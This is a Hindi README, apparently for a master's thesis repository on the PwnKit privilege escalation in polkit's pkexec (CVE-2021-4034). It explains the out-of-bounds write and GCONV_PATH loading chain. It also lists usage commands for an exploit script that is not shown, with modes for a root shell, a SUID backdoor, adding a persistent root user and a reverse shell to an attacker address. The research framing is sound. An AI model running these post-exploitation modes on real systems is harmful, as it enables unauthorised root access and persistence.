
CVE-2021-4034 (PwnKit) पर उन्नत Linux विशेषाधिकार वृद्धि (Privilege Escalation) शोध। इसमें 7 पॉलीमॉर्फिक पेलोड मोड (इंटरैक्टिव शेल, बैकडोर, उपयोगकर्ता निर्माण, रिवर्स शेल, आदि) के साथ एक अनुकूलित एक्सप्लॉइट शामिल है। पोर्टफोलियो टुकड़ा मेमोरी भ्रष्टाचार तर्क, पर्यावरण चर हेरफेर और एंटी-फोरेंसिक तकनीकों पर केंद्रित है।
polkit की pkexec उपयोगिता में मेमोरी भ्रष्टाचार भेद्यता
सीमा से बाहर लेखन के माध्यम से स्थानीय विशेषाधिकार वृद्धि → रूट
प्रभावित: polkit 0.105-31 और पुराने · पैच: polkit 0.105-33 (जनवरी 2022)
CVE-2021-4034 - PwnKit के माध्यम से प्राप्त इंटरैक्टिव रूट शेल
इस रिपॉजिटरी में CVE-2021-4034 पर मेरा मास्टर थीसिस अनुसंधान शामिल है, जो polkit की pkexec उपयोगिता में एक उच्च-गंभीरता (CVSS 7.8) स्थानीय विशेषाधिकार वृद्धि भेद्यता है, जिसे आमतौर पर PwnKit के नाम से जाना जाता है।
यह भेद्यता pkexec के आर्गुमेंट प्रोसेसिंग लॉजिक में सीमा से बाहर लेखन (out-of-bounds write) से उत्पन्न होती है। जब pkexec को खाली या क्राफ्टेड argv के साथ निष्पादित किया जाता है, तो यह argv ऐरे की सीमा से बाहर पढ़ता और लिखता है, envp ऐरे में प्रवेश करता है, जिससे एक असाधारित स्थानीय उपयोगकर्ता दुर्भावनापूर्ण पर्यावरण चर इंजेक्ट कर सकता है जो बाद में एक साझा लाइब्रेरी के रूप में लोड होते हैं, रूट विशेषाधिकारों के साथ मनमाना कोड निष्पादित करते हैं।
| पहलू | विवरण |
|---|---|
| बहु-पेलोड एक्सप्लॉइट | 6 पेलोड मोड वाला Python रैपर जिसमें शेल, id, बैकडोर और रिवर्स शेल शामिल हैं |
CVE-2021-4034/
├── README.md # यह फ़ाइल
├── LICENSE # MIT लाइसेंस
│
├── exploit/
│ └── pwnkit.py # एकाधिक पेलोड वाला उन्नत एक्सप्लॉइट
│
└── docs/
├── screenshots/ # शोषण प्रदर्शन
│ ├── 01-pwnkit-shell.png
│ ├── 02-pwnkit-id.png
│ ├── 03-pwnkit-whoami.png
│ ├── 04-pwnkit-backdoor.png
│ ├── 05-pwnkit-add-user.png
│ ├── 06-pwnkit-reverse.png
│ └── 07-pwnkit-custom.png
│
└── analysis/
├── 01-root-cause.md # भेद्यता मूल कारण विश्लेषण
├── 02-exploitation-chain.md # शोषण श्रृंखला विवरण
└── 03-timeline.md # CVE समयरेखा
pkexec --version 0.105 या पुराना दिखाता है)apt install gcc)# इंटरैक्टिव रूट शेल (डिफ़ॉल्ट)
python3 exploit/pwnkit.py -p shell
# निष्पादन संदर्भ सत्यापित करें
python3 exploit/pwnkit.py -p whoami
# रूट के रूप में कस्टम कमांड निष्पादित करें
python3 exploit/pwnkit.py -p custom -c "id"
# /tmp/.sh पर SUID बैकडोर बनाएं
python3 exploit/pwnkit.py -p backdoor_suid
# स्थायी रूट उपयोगकर्ता जोड़ें
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword
# रिवर्स शेल
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444
pkexec चलाए जा रहे प्रोग्राम का पता लगाने के लिए अपने स्वयं के argv को संसाधित करता है। जब argc == 0 (खाली आर्गुमेंट वेक्टर) के साथ कॉल किया जाता है, तो argv पर सीमा जाँच चुपचाप विफल हो जाती है। परिणामी सीमा से बाहर पढ़ना envp[0] को argv[1] मानता है, और envp में वापस सीमा से बाहर लेखन एक हमलावर को एक पर्यावरण चर को क्राफ्टेड पथ से बदलने की अनुमति देता है। जब pkexec बाद में g_printerr() कॉल करता है, तो यह अब हमलावर-नियंत्रित पर्यावरण से GCONV_PATH लोड करता है, रूट विशेषाधिकारों के साथ हमलावर-आपूर्ति की गई साझा लाइब्रेरी लोड करता है।
argc == 0 → argv[1] envp[0] पढ़ता है
argv[1] = "GCONV_PATH=." (envp में वापस लिखता है)
pkexec ./pwnkit.so लोड करता है (हमलावर-नियंत्रित साझा लाइब्रेरी)
gconv_init() रूट के रूप में निष्पादित होता है
1. argv = { NULL } क्राफ्ट करें → argc = 0, OOB एक्सेस ट्रिगर करता है
2. envp[0] = "pwnkit.so:." सेट करें
3. envp[1] = "PATH=GCONV_PATH=." सेट करें
4. pkexec OOB-लिखता है "pwnkit.so:." को envp[0] में जैसे कि यह argv[1] हो
5. pkexec GCONV_PATH=. को हल करता है और gconv-modules लोड करता है
6. gconv-modules "PWNKIT" कैरेक्टर सेट को pwnkit.so से मैप करता है
7. pwnkit.so:gconv_init() रूट विशेषाधिकारों के साथ कॉल किया जाता है
8. पेलोड निष्पादित होता है (शेल / बैकडोर / रिवर्स शेल / आदि)







सभी परीक्षण Ubuntu 20.04 LTS चलाने वाले एक पृथक VirtualBox VM पर polkit 0.105-26 (भेद्य) के साथ किए गए, जिसमें कोई नेटवर्क एक्सपोज़र नहीं था।
| दस्तावेज़ | विवरण |
|---|---|
| मूल कारण विश्लेषण | pkexec आर्गुमेंट प्रोसेसिंग में सीमा से बाहर लेखन |
| शोषण श्रृंखला |
यह शोध साइबर सुरक्षा में मेरे मास्टर थीसिस (UCAM — Campus Internacional de Ciberseguridad) का हिस्सा है, जो कई वातावरणों में N-दिवस भेद्यताओं का विश्लेषण करता है।
यह CVE थीसिस के भीतर Linux स्थानीय विशेषाधिकार वृद्धि वेक्टर का प्रतिनिधित्व करता है, जो प्रदर्शित करता है:
कीवर्ड: LPE · Polkit · pkexec · SUID · GCONV_PATH · CVE-2021-4034 · PwnKit
Annais Molina (devianntsec) — साइबर सुरक्षा में मास्टर छात्र
MIT लाइसेंस — LICENSE देखें
यह रिपॉजिटरी केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान की गई है, जो एक अकादमिक मास्टर थीसिस के भाग के रूप में है। सभी परीक्षण बिना किसी नेटवर्क एक्सपोज़र के पृथक आभासी मशीनों पर किए गए। केवल उन सिस्टम पर उपयोग करें जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण है। सिस्टम के विरुद्ध अनधिकृत उपयोग अवैध है और इसके परिणामस्वरूप आपराधिक मुकदमा चल सकता है।
| स्वचालित पर्यावरण सेटअप | स्वचालित GCONV_PATH निर्माण और gconv-modules कॉन्फ़िगरेशन |
| पोस्ट-एक्सप्लॉइटेशन मॉड्यूल | SUID बैकडोर, रूट उपयोगकर्ता निर्माण और कस्टम कमांड निष्पादन |
| शैक्षणिक दस्तावेज़ीकरण | मूल कारण विश्लेषण, शोषण श्रृंखला और भेद्यता समयरेखा |
| पेलोड | विवरण | आउटपुट |
|---|
shell | रूट के रूप में इंटरैक्टिव /bin/sh स्पॉन करता है | इंटरैक्टिव शेल |
id | id और whoami आउटपुट /tmp/pwnkit_id.txt में लिखता है | फ़ाइल |
whoami | UID/eUID सत्यापन /tmp/pwnkit_root_test में लिखता है | फ़ाइल |
backdoor_suid | /tmp/.sh पर SUID रूट bash कॉपी बनाता है | स्थायी बैकडोर |
add_root_user | /etc/passwd में कस्टम उपयोगकर्ता जोड़ता है | स्थायी पहुँच |
reverse_shell | Python के माध्यम से हमलावर से वापस जुड़ता है | रिमोट शेल |
custom | रूट के रूप में कोई भी कमांड निष्पादित करता है | Stdout / फ़ाइल |
| घटक | मान | नोट्स |
|---|
| भेद्य बाइनरी | /usr/bin/pkexec | SUID रूट |
| ट्रिगर शर्त | argc == 0 | खाली argv |
| लेखन प्रिमिटिव | envp में OOB लेखन | argv[argc-1] के माध्यम से |
| लोड तंत्र | GCONV_PATH + gconv-modules | मानक glibc iconv |
| निष्पादन संदर्भ | साझा लाइब्रेरी में gconv_init() | EUID 0 के रूप में चलता है |
| प्रभावित संस्करण | polkit ≤ 0.105-31 | सभी प्रमुख Linux वितरण |
| पेलोड | परिणाम | नोट्स |
|---|
shell | ✅ रूट शेल प्राप्त हुआ | तत्काल इंटरैक्टिव पहुँच |
id | ✅ uid=0(root) की पुष्टि हुई | /tmp/pwnkit_id.txt में आउटपुट |
whoami | ✅ root की पुष्टि हुई | UID/eUID = 0 |
backdoor_suid | ✅ /tmp/.sh पर SUID बिट सेट | एक्सप्लॉइट के बाद स्थायी |
add_root_user | ✅ कस्टम उपयोगकर्ता बनाया गया | रीबूट के बाद भी बना रहता है |
reverse_shell | ✅ कनेक्शन स्थापित हुआ | Python रिवर्स शेल कार्यशील |
custom | ✅ मनमाना कमांड निष्पादन | पूर्ण रूट संदर्भ |
| GCONV_PATH इंजेक्शन का चरण-दर-चरण विवरण |
| CVE समयरेखा | खोज, प्रकटीकरण और पैच कालक्रम |